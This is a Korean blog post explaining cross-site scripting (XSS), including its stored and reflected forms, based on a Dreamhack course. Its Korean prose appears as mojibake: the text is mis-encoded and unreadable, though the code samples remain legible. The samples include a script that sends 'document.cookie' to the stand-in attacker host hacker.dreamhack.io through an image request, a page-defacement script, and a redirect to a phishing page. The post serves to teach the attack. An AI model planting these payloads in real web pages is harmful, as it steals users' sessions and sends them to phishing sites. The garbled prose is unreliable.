Jastes 2022. 6. 21. 20:41

XSS(Cross Site Scripting)์ด๋ž€?

XSS๋ž€ ์›น ํŽ˜์ด์ง€์˜ ์ด์šฉ์ž๋ฅผ ๋Œ€์ƒ์œผ๋กœ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ !

 

ํ•ด๋‹น ์ข…๋ฅ˜์˜ ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์ด์šฉ์ž๋ฅผ ์‹๋ณ„ํ•  ์„ธ์…˜ ๋ฐ ์ฟ ํ‚ค ์ •๋ณด ํƒˆ์ทจ, ํ•ด๋‹น ๊ณ„์ •์— ์ž„์˜ ๊ธฐ๋Šฅ ์ˆ˜ํ–‰ํ•จ

Cross Site Scripting์˜ ์•ฝ์–ด๊ฐ€ XSS์ธ ์ด์œ 
 Cross Site Scripting์˜ ์•ฝ์–ด๋Š” CSS๊ฐ€ ์˜ณ์ง€๋งŒ, ์Šคํƒ€์ผ์‹œํŠธ๋ฅผ ์ •์˜ํ•˜๋Š” ์–ธ์–ด
CSS์™€์˜ ์ค‘๋ณต๊ณผ ํ˜ผ๋™์œผ๋กœ XSS๋กœ ๋ช…๋ช…๋˜์—ˆ์Šต๋‹ˆ๋‹ค ใ… 

XSS

XSS๋Š” ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ ์ทจ์•ฝ์ ์˜ ๋Œ€ํ‘œ์ ์ธ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.
๊ณต๊ฒฉ์ž๊ฐ€ ์›น ๋ฆฌ์†Œ์Šค์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•ด ์ด์šฉ์ž์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์— ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์ง€์š”
๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์„ธ์…˜ ์ •๋ณด ํƒˆ์ทจ ํ•ด๋‹น ๊ณ„์ •์œผ๋กœ ์ž„์˜์˜ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋กœ ์œ„์™€ ๊ฐ™์€ ์ด๋ฏธ์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ค๋ฆฌ์ง„ ๊ถŒํ•œ์œผ๋กœ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…
์ดํ›„ ์ด์šฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ ํŽ˜์ด์ง€ ๋ฐฉ๋ฌธ ํ›„
๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜๋กœ ์‚ฝ์ž…ํ•œ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ์ฟ ํ‚ค ๋ฐ ์„ธ์…˜ ํƒˆ์ทจ ์ด๋Ÿฌํ•œ ์œ„ํ—˜ํ•œ ๋ฌธ์ œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

 

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ SOP ๋ณด์•ˆ ์ •์ฑ…์˜ ๋“ฑ์žฅ์œผ๋กœ ์„œ๋กœ ๋‹ค๋ฅธ ์˜ค๋ฆฌ์ง„์—์„œ๋Š” ์ •๋ณด ์ฝ๊ธฐ ํ–‰์œ„๊ฐ€ ํž˜๋“ค์–ด์ง‘๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ์ด๋ฅผ ์šฐํšŒํ•˜๋Š” ๋‹ค์–‘ํ•œ ๊ธฐ์ˆ ์ด ์†Œ๊ฐœ๋˜๋ฉฐ XSS ๊ณต๊ฒฉ์€ ์ง€์†๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.
์ด์ œ ํ•ด๋‹น ์ทจ์•ฝ์ ์˜ ๋ฐœ์ƒ ์ƒํ™ฉ๊ณผ ์ข…๋ฅ˜์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ณผ๊นŒ์š”? 


XSS ๋ฐœ์ƒ ์˜ˆ์‹œ์™€ ์ข…๋ฅ˜

XSS ๊ณต๊ฒฉ์€ ์ด์šฉ์ž๊ฐ€ ์‚ฝ์ž…ํ•œ ๋‚ด์šฉ์„ ์ถœ๋ ฅํ•˜๋Š” ๊ธฐ๋Šฅ์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
์˜ˆ์‹œ๋กœ ๋ณด์ด์Šคํ”ผ์‹ฑ์ด๋‚˜ ์ŠคํŒธ ๋“ฑ์˜ ๊ธฐ๋ณธ์ ์ธ ๋‚ด์šฉ์ด ๋Œ€ํ‘œ์ ์ธ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

 

ํด๋ผ์ด์–ธํŠธ๋Š” HTTP ํ˜•์‹์œผ๋กœ ์›น ์„œ๋ฒ„์— ๋ฆฌ์†Œ์Šค๋ฅผ ์š”์ฒญํ•˜๊ณ  ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ๋ฐ›์€ ์‘๋‹ต
์ฆ‰, HTML, CSS, JS ๋“ฑ์˜ ์›น ๋ฆฌ์†Œ์Šค๋ฅผ ์‹œ๊ฐํ™”ํ•˜์—ฌ ์ด์šฉ์ž์—๊ฒŒ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

 

์ด๋•Œ, ์œ„์™€ ๊ฐ™์€ ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ ๊ฒŒ์‹œ๋ฌผ์„ ์กฐํšŒํ•  ๊ฒฝ์šฐ ์ด์šฉ์ž๋Š” ๋ณ€์กฐ๋œ ํŽ˜์ด์ง€ ํ™•์ธ/์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด ๋จ
์ด๋Š” ์•„๋ž˜ ์˜ˆ์‹œ ์ด๋ฏธ์ง€๋ฅผ ๋ณด์‹œ๋ฉด ํ™•์ธ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

XSS๋Š” ๋ฐœ์ƒ ํ˜•ํƒœ์— ๋”ฐ๋ผ ๋‹ค์–‘ํ•œ ์ข…๋ฅ˜๋กœ ๊ตฌ๋ถ„๋ฉ๋‹ˆ๋‹ค. ์•„๋ก€ ํ‘œ๋ฅผ ๋ณด์‹œ๊ณ  ์ฐธ๊ณ ํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค ใ…Ž


XSS ์Šคํฌ๋ฆฝํŠธ์˜ ์˜ˆ์‹œ

JS๋Š” ์›น ๋ฌธ์„œ์˜ ๋™์ž‘์„ ์ •์˜ํ•˜๋ฉฐ, ์ด๋Š” ์ด์šฉ์ž๊ฐ€ ๋ฒ„ํŠผ ํด๋ฆญ ์‹œ์— ์–ด๋–ค ์ด๋ฒคํŠธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ฌ์ง€์™€
๋ฐ์ดํ„ฐ ์ž…๋ ฅ ์‹œ ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๋Š” ์ด๋ฒคํŠธ๋ฅผ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ด๋Ÿฌํ•œ ๊ธฐ๋Šฅ ์™ธ์—๋„ ์ด์šฉ์ž์™€์˜ ์ƒํ˜ธ ์ž‘์šฉ ์—†์ด ์ด์šฉ์ž์˜ ๊ถŒํ•œ์œผ๋กœ ์ •๋ณด ์กฐํšŒ, ๋ณ€๊ฒฝ ๋“ฑ์˜ ํ–‰์œ„๊ฐ€ ์žˆ์ฃ 
์ด๋Ÿฐ ์กฐ์ž‘์ด ๊ฐ€๋Šฅํ•œ ์ด์œ ๋Š” ์‹๋ณ„์ž์ธ ์„ธ์…˜ ๋ฐ ์ฟ ํ‚ค๊ฐ€ ์›น ๋ธŒ๋ผ์šฐ์ €์— ์ €์žฅ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ!
๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” JS๋ฅผ ํ†ตํ•ด ๋‹ค์–‘ํ•œ ํ–‰์œ„๋ฅผ ํ•˜๋ฉฐ, ์กฐ์ž‘ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

JS๋Š” ๋‹ค์–‘ํ•œ ๋™์ž‘์„ ์ •์˜ํ•˜๊ธฐ์— XSS๊ณต๊ฒฉ์— ์ฃผ๋กœ ์‚ฌ์šฉ๋˜๋ฉฐ ํƒœ๊ทธ๋ก  <script>๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.
์•„๋ž˜ ์ฝ”๋“œ๋“ค์€ JS๋ฅผ ์ด์šฉํ•œ XSS ๊ณต๊ฒฉ ์ฝ”๋“œ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

์ฟ ํ‚ค ๋ฐ ์„ธ์…˜ ํƒˆ์ทจ ๊ณต๊ฒฉ ์ฝ”๋“œ
<script>
// "hello" ๋ฌธ์ž์—ด alert ์‹คํ–‰.
alert("hello");

// ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค(return type: string)
document.cookie; 

// ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค๋ฅผ ์ธ์ž๋กœ ๊ฐ€์ง„ alert ์‹คํ–‰.
alert(document.cookie);

// ์ฟ ํ‚ค ์ƒ์„ฑ(key: name, value: test)
document.cookie = "name=test;";

// new Image() ๋Š” ์ด๋ฏธ์ง€๋ฅผ ์ƒ์„ฑํ•˜๋Š” ํ•จ์ˆ˜์ด๋ฉฐ, src๋Š” ์ด๋ฏธ์ง€์˜ ์ฃผ์†Œ๋ฅผ ์ง€์ •. ๊ณต๊ฒฉ์ž ์ฃผ์†Œ๋Š” http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=ํ˜„์žฌํŽ˜์ด์ง€์˜์ฟ ํ‚ค" ์ฃผ์†Œ๋ฅผ ์š”์ฒญํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ž ์ฃผ์†Œ๋กœ ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค ์š”์ฒญํ•จ
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
ํŽ˜์ด์ง€ ๋ณ€์กฐ ๊ณต๊ฒฉ ์ฝ”๋“œ
<script>
// ์ด์šฉ์ž์˜ ํŽ˜์ด์ง€ ์ •๋ณด์— ์ ‘๊ทผ.
document;

// ์ด์šฉ์ž์˜ ํŽ˜์ด์ง€์— ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฝ์ž….
document.write("Hacked By DreamHack !");
</script>
์œ„์น˜ ์ด๋™ ๊ณต๊ฒฉ ์ฝ”๋“œ
<script>
// ์ด์šฉ์ž์˜ ์œ„์น˜๋ฅผ ๋ณ€๊ฒฝ.
// ํ”ผ์‹ฑ ๊ณต๊ฒฉ ๋“ฑ์œผ๋กœ ์‚ฌ์šฉ๋จ.
location.href = "http://hacker.dreamhack.io/phishing"; 

// ์ƒˆ ์ฐฝ ์—ด๊ธฐ
window.open("http://hacker.dreamhack.io/")
</script>

Stored XSS

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ ์„œ๋ฒ„์˜ DB ๋˜๋Š” ํŒŒ์ผ ๋“ฑ์˜ ํ˜•ํƒœ๋กœ ์ €์žฅ๋œ ์•…์„ฑ ์Šคํฌ๋ฆฌ๋ธŒ ์กฐํšŒ ์‹œ ๋ฐœ์ƒํ•จ
๋Œ€ํ‘œ์ ์œผ๋กœ ๊ฒŒ์‹œ๋ฌผ๊ณผ ๋Œ“๊ธ€์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จ ์—…๋กœ๋“œํ•˜๋Š” ๋ฐฉ์‹์ด์ฃ 
๊ฒŒ์‹œ๋ฌผ์€ ๋ถˆํŠน์ • ๋‹ค์ˆ˜์—๊ฒŒ ๋ณด์—ฌ์ง€๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ๊ธฐ๋Šฅ์— XSS ์ทจ์•ฝ์ ์ด ์กด์žฌ์‹œ ํŒŒ๊ธ‰๋ ฅ ↑

 

์•„๋ž˜ ์ด๋ฏธ์ง€๋Š” ์˜ˆ์‹œ๋กœ์จ, <script> ํƒœ๊ทธ ๋˜๋Š” HTML ํƒœ๊ทธ๋ฅผ ์‚ฝ์ž…ํ•˜๊ณ  ๋ฐ˜ํ™˜๋˜๋Š” HTML ์ฝ”๋“œ๋ฅผ
ํ™•์ธํ•จ์œผ๋กœ์จ Stored XSS์˜ ๋ฐœ์ƒ ํ˜•ํƒœ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ˆ„๋ฅด๋ฉด ์ง€๊ธˆ์€ ๋ชจ๋‹ฌ์ฐฝ์— ๋œจ๊ธฐ๋งŒ ํ•˜์ง€๋งŒ ์‹ค์ œ๋ก  ์„ธ์…˜ ๋“ฑ์˜ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜๊ฒ ์ฃ ..


Reflected XSS

์„œ๋ฒ„๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋‹ด๊ธด ์š”์ฒญ์„ ์ถœ๋ ฅ ์‹œ ๋ฐœ์ƒ!
๋Œ€ํ‘œ์ ์œผ๋กœ ๊ฒŒ์‹œํŒ์— ์ž‘์„ฑ๋œ ๊ฒŒ์‹œ๋ฌผ์„ ์กฐํšŒํ•˜๊ธฐ ์œ„ํ•œ ๊ฒ€์ƒ‰์ฐฝ์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•ด ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐฉ์‹
์ด์šฉ์ž๊ฐ€ ๊ฒŒ์‹œ๋ฌผ์„ ๊ฒ€์ƒ‰ ์‹œ ์„œ๋ฒ„๋Š” ๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ๋ฅผ ์ด์šฉ์ž์—๊ฒŒ ๋ฐ˜ํ™˜ํ•˜๋Š” ํŠน์ง•์„ ์•…์šฉํ•œ ์‚ฌ๋ก€์ฃ 

 

Reflected XSS๋Š” Stored XSS์™€๋Š” ๋‹ค๋ฅด๊ฒŒ URL๊ณผ ๊ฐ™์€ ์ด์šฉ์ž์˜ ์š”์ฒญ์— ์˜ํ•ด ๋ฐœ์ƒ!
๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์„ ์œ„ํ•ด์„  ํƒ€ ์ด์šฉ์ž์—๊ฒŒ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ ๋งํฌ์— ์ ‘์†ํ•˜๊ฒŒ ์œ ๋„ํ•ฉ๋‹ˆ๋‹ค.
์ฃผ๋กœ Click Jacking ๋˜๋Š” Open Redirect ๋“ฑ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ณ„ํ•˜์—ฌ ์‚ฌ์šฉํ•œ๋‹ต๋‹ˆ๋‹ค.

 

์•„๋ก€ ์˜ˆ์ œ๋Š” ๊ฒŒ์‹œ๋ฌผ ์กฐํšŒ ๊ธฐ๋Šฅ์œผ๋กœ <script>ํƒœ๊ทธ ๋˜๋Š”.. ๊ทธ๋Ÿฐ ๊ฑธ๋กœ Reflected XSS๋ฐœ์ƒํ•ด๋ณผ๊นŒ์š”?

์—ฌ๊ธฐ์„  ํ€ด๋ฆฌ๋ฌธ์— ์ง์ ‘ ๋„ฃ์–ด์„œ ํ•˜๋Š” ๋ถ€๋ถ„์ด๋„ค์š” ๋ณดํ†ต์€ ํ•„ํ„ฐ๋ง์œผ๋กœ ๊ฑฐ๋ฅด๊ธฐ๋„ ํ•˜๊ฒ ์ฃ ?


๊ฒฐ๋ก 

  • Cross Site Scripting (XSS): ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ ์ทจ์•ฝ์ 
    - ๊ณต๊ฒฉ์ž๊ฐ€ ์›น ๋ฆฌ์†Œ์Šค์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž… ์ด์šฉ์ž์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•œ ์ทจ์•ฝ์ 
  • Stored XSS: ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„ ๋‚ด์— ์กด์žฌ
    - ์ด์šฉ์ž๊ฐ€ ์ €์žฅ๋œ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์กฐํšŒํ•  ๋•Œ ๋ฐœ์ƒ
  • Reflected XSS: ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ด์šฉ์ž ์š”์ฒญ ๋‚ด์— ์กด์žฌ
    - ์ด์šฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ ์š”์ฒญ์„ ๋ณด๋‚ธ ํ›„ ์‘๋‹ต์„ ์ถœ๋ ฅํ•  ๋•Œ ๋ฐœ์ƒ

์ฐธ๊ณ  ์ž๋ฃŒ

 

ClientSide: XSS

์ด ์ฝ”์Šค์—์„œ๋Š” ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ์˜ ๋Œ€ํ‘œ์ ์ธ ๊ณต๊ฒฉ์ธ XSS์— ๋Œ€ํ•ด ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io

์ฐธ๊ณ  ์ด๋ฏธ์ง€